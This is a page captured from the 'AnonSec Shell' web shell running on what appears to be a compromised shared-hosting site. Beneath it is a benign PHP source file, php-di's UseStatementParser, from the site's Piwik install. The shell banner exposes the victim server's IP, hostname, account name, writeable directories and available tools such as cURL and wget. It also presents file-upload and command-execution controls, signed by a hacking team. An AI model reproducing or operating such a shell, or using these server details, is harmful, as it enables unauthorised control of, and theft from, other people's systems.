AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.217.87
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/piwik/vendor/php-di/phpdoc-reader/src/PhpDocReader/PhpParser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/piwik/vendor/php-di/phpdoc-reader/src/PhpDocReader/PhpParser/UseStatementParser.php
<?php declare(strict_types=1);

namespace PhpDocReader\PhpParser;

use SplFileObject;

/**
 * Parses a file for "use" declarations.
 *
 * Class taken and adapted from doctrine/annotations to avoid pulling the whole package.
 *
 * Authors: Fabien Potencier <fabien@symfony.com> and Christian Kaps <christian.kaps@mohiva.com>
 */
class UseStatementParser
{
    /**
     * @return array A list with use statements in the form (Alias => FQN).
     */
    public function parseUseStatements(\ReflectionClass $class): array
    {
        $filename = $class->getFilename();
        if ($filename === false) {
            return [];
        }

        $content = $this->getFileContent($filename, $class->getStartLine());

        if ($content === null) {
            return [];
        }

        $namespace = preg_quote($class->getNamespaceName(), '/');
        $content = preg_replace('/^.*?(\bnamespace\s+' . $namespace . '\s*[;{].*)$/s', '\\1', $content);
        $tokenizer = new TokenParser('<?php ' . $content);

        return $tokenizer->parseUseStatements($class->getNamespaceName());
    }

    /**
     * Gets the content of the file right up to the given line number.
     *
     * @param string $filename The name of the file to load.
     * @param int $lineNumber The number of lines to read from file.
     */
    private function getFileContent(string $filename, int $lineNumber): string
    {
        if (! is_file($filename)) {
            throw new \RuntimeException("Unable to read file $filename");
        }

        $content = '';
        $lineCnt = 0;
        $file = new SplFileObject($filename);
        while (! $file->eof()) {
            if ($lineCnt++ === $lineNumber) {
                break;
            }

            $content .= $file->fgets();
        }

        return $content;
    }
}

Anon7 - 2022
AnonSec Team